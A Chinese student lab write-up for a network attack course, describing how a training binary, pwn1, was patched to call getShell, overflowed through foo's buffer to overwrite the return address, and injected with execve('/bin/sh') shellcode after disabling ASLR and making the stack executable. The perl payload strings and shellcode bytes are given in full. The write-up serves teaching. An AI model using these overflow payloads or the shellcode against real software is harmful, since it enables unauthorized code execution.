zoukankan      html  css  js  c++  java
  • PC平台逆向破解

    20175314 2020-3 《网络对抗技术》Exp1 PC平台逆向破解 Week2

    一、实践目标

    1、实践对象:Linux可执行文件pwn1

    • pwn1正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串
    • 该程序同时包含另一个代码片段:getShell,会返回一个可用Shell,运行这个正常情况下不会被运行的代码片段
    • 学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode

    2、实践内容

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
    • 注入一个自己制作的shellcode并运行这段shellcode
    • 这几种思路基本代表现实情况中的攻击目标:
      • 运行原本不可访问的代码片段
      • 强行修改程序执行流
      • 以及注入运行任意代码

    二、基础知识

    1、实践要求

    • 熟悉Linux基本操作能看懂常用指令:如管道(|)、输入、输出重定向(>)等
    • 理解Bof的原理能看得懂汇编、机器指令、EIP、指令地址
    • 会使用gdbvi/vim

    2、指令/参数

    • 复制文件cp <原文件名> <新文件名>
    • 对文件进行反汇编objdump -d xxx
    • 将文件内容以16进制形式呈现xxd 文件名vi/vim进入文件将内容转化为16进制表示%!xxd,转化为原来的表示方式%!xxd -r
    • GDB调试:进入调试界面gdb,运行r,查看输入的参数info r,设置断点break *<地址段>
    • <可执行文件1>中的字符串通过管道传递给<可执行文件2>,作为可执行文件<可执行文件2>的输入(cat <可执行文件1>;cat) | <可执行文件2>
    • 设置堆栈可执行execstack -s <可执行文件>,查询文件的堆栈是否可执行execstack -q <可执行文件>,查看地址随机化的状态more /proc/sys/kernel/randomize_va_space,关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space

    3、实践原理

    • pwn1函数地址

    • 系统执行函数getShell的步骤

    4、预备知识

    安装必要软件包

    • root用户权限下
    apt-get update
    apt-get install gdb       //安装GDB
    apt-get install execstack //安装execstack
    apt-get install net-tools //安装net-tools
    

    NOP, JNE, JE, JMP, CMP汇编指令对应的机器码

    • NOP:"no operation"空操作,机器码0x90
    • JNE:"not equal"不等则跳转,机器码0x75
    • JE:相等则跳转,机器码0x74
    • JMP:无条件跳转
      • 段内直接短转Jmp short,机器码0xEB;
      • 段内直接近转移Jmp near,机器码0xE9;
      • 段内间接转移Jmp word,机器码0xFF;
      • 段间直接(远)转移Jmp far,机器码0xEA
    • CMP:比较指令,CMP的功能相当于减法指令。它不保存结果,只是影响相应的标志位,机器码0x39
    • 更多详情请参见汇编指令机器码对应列表

    perl指令

    我们无法通过键盘输入x7dx84x04x08这样的16进制值,
    所以要使用perl指令输出重定向>perl生成的字符串存储到文件中
    例如perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
    将字符串11111111222222223333333344444444x7dx84x04x08x0a重定向到文件input

    Linux两种基本构造攻击buf的方法(一般选择第一种)

    • retaddr+nop+shellcode

    • nop+shellcode+retaddr

    Windows系统自带的计算器可以计算16进制

    三、实践步骤

    • 先对可执行文件pwn1进行复制并以学号命名20175314pwn1/2/3

    1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

    • 对文件20175314pwn1进行反汇编

    • 得到文件的汇编语言表示,找到关于我们所要的函数跳转的部分:

    • 可以从上图看到,原函数是在执行主函数时调用foo,即跳转到foo函数的首地址处。所以我们要做的就是修改主函数中的跳转地址,使得程序跳转到getShell函数的首地址

    • 主函数中有一条是call 8048491<foo>,这里8048491就是foo函数的首地址。这条指令的机器码部分是e8 d7 ff ff ff,其中e8call指令的机器码,后面的d7 ff ff ff是目的地址减去eip寄存器中地址的值,如果是负数要换算成补码。这里的e8 d7 ff ff ff8048491-80484ba的结果换算成补码(因为eip寄存器中存放的是下一条指令所在的地址所以减去80484ba而不是80484b5)

    • 函数getShell的首地址是804847d,也就是说我们需要把804847d-80484ba的结果换算成补码,替换原来的e8 d7 ff ff ff,计算结果是ff ff ff c3

    • 地址替换

      • 使用vim进入20175314pwn1,发现是乱码

    • esc+:键入%!xxd,按回车,将文件内容转化为16进制表示

    • esc+:键入/d7ff搜索e8 d7(e8与d7间有空格,老师的实验指导书中写的是e8d7,那一段地址是搜不到的,根据以上分析也可以直接搜索d7ff或者d7)出现的地方,观察d7前后,确定是要修改的地方,确认后进入编辑模式把d7改为c3

    • esc+:键入%!xxd -r将文件内容转化为原来的表示方式

    • esc+:键入wq保存并退出文件

    • 检验:./20175314pwn1执行修改后的可执行文件,键入ls,结果是显示该目录下的文件名,说明修改成功(此处Bash Shell提示符在普通用户默认模式下是$,在root用户默认模式下是#)

    2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

    • 20175314pwn2中的main函数调用的是foo函数,foo函数在执行完后会返回,也就是指向main函数中调用foo函数这条指令的下一条指令,我们要做的是利用foo中的buf漏洞,覆盖返回地址,使得在输入参数后直接执行shellcode,而非foo函数,详见实践原理系统执行函数getShell的步骤

    • 汇编语言表示中我们需要关注的部分

    • 对上图进行分析,发现buf的长度是1c(十六进制)字节,再加上%ebp占用的4字节,结果转换成十进制是32字节

    • 使用GDB调试gdb 20175314pwn2,验证是否32字节以外的内容会被写进%eip

    • 在命令行输入20175314pwn2进入调试页面

    • 输入r开始运行,输入参数,然后输如info r进行查看

    • %eip的值为0x34333231,0x34是4的ASCII码。这就说明了16字节以外的内容会被写进%eip寄存器

    • 我们接下来要做的是在输入时,在16字节的内容后面加上getshell函数的首地址的ASCII码信息。从之前的截图可以知道其首地址为804847d,由于是小端序列,所以我们要输入的是<16字节的内容>+x7dx84x04x08(x表示的是转换为ASCII码)
      使用perl指令(详见预备知识)perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a" ' > input生成包括这个字符串的一个文件(x0a表示回车)

    • 查看input文件的内容是否如预期,通过管道符|,将input文件作为20175314pwn2的输入,使用ls命令和pwd命令进行调试,可以看到结果

    3、注入一个自己制作的shellcode并运行这段shellcode

    • 安装execstack,修改堆栈的设置(详见预备知识)

    • 构造一个shellcode语句,并使用perl指令把这个语句写入到文件input_3中(参考实验指导书推荐的shellcode):
      perl -e 'print "A" x 32;printf "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00" '>input_3

    • 以上x4x3x2x1用来暂时表示shellcode代码的首地址,接下来我们要做的是寻找其真正的首地址

      • ①在目前终端的命令行输入(cat input_3;cat) | ./20175314pwn3

      • ②输入ps -ef | grep part3来获得进程号:1725(构造shellcode时找进程不要使用回车键否则会找不到)

      • ③使用gbd进行调试,输入attach 1725,再输入disassemble foo来查看注入内容的地址

      • ④在ret这一句设置断点break *0x080484ae,然后切换至另一终端,按下回车

      • ⑤使用info r esp来查看栈顶指针,为0xffffd69c,再输入x/16x 0xffffd69c查看指针指向的内容

    • ⑥可以从上图看到,只要把0xffffd69c加上4就能得到shellcode的首地址为0xffffd6a0

    • 找到首地址后,切换终端。先终止当前进程,然后打开input_3将其修改为16进制表示后进行修改,把x04x03x02x01修改为xa0xd6xffxff

    • 输入(cat input_3;cat) | ./20175314pwn3,再键入ls进行验证

    4、结合nc模拟远程攻击

    • 使用两台虚拟机进行试验,靶机:Kali),攻击机:Ubuntu
    • 实现任意TCP/UDP端口的侦听,nc可作为server以TCP或UDP方式侦听指定端口
    • 扫描端口,nc可作为client发起TCP或UDP连接
    • 以实现机器之间传输文件,并在Ubuntu上检查传输的文件input是否可以使用ls/pwd

    四、实践报告

    1、什么是漏洞?漏洞有什么危害?

    漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,是受限制的计算机、组件、应用程序或其他联机资源的无意中留下的不受保护的入口点。
    利用这些缺点,攻击者可以对计算机系统进行攻击,从而达到一定的目的。漏洞威胁了计算机的系统安全,给攻击者有可乘之机,可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。
    从外部写入到缓冲区可以使攻击者覆盖邻近内存块的内容,使攻击者能够在未授权的情况下访问或破坏系统,从而导致数据遭到破坏,程序崩溃,甚至可以执行任何恶意代码。

    2、实验收获与感想

    本次实验与以往其他学科不同,因为过去大多实验都只有固定的参数代码或步骤,只需要按部就班地完成即可,少有接触修改地址等较为底层的操作,而内存地址根据每个人电脑的情况又是不同的。但是真正搞懂了原理后一步步完成也没有遇到过太大的问题,几乎比当时安装Kali系统时还要少,完成大约需要五小时,是全新的体验,感觉到很有收获。

  • 相关阅读:
    洛谷P3811题解
    洛谷P3353在你窗外闪耀的星星-题解
    Map根据value来排序
    java8 groupby count
    Java反射
    maven profile环境切换
    获取nginx代理情况下的真实ip
    获取request里header的name和value
    git 删除iml文件
    java list 排序
  • 原文地址:https://www.cnblogs.com/SANFENs/p/12357203.html
Copyright © 2011-2022 走看看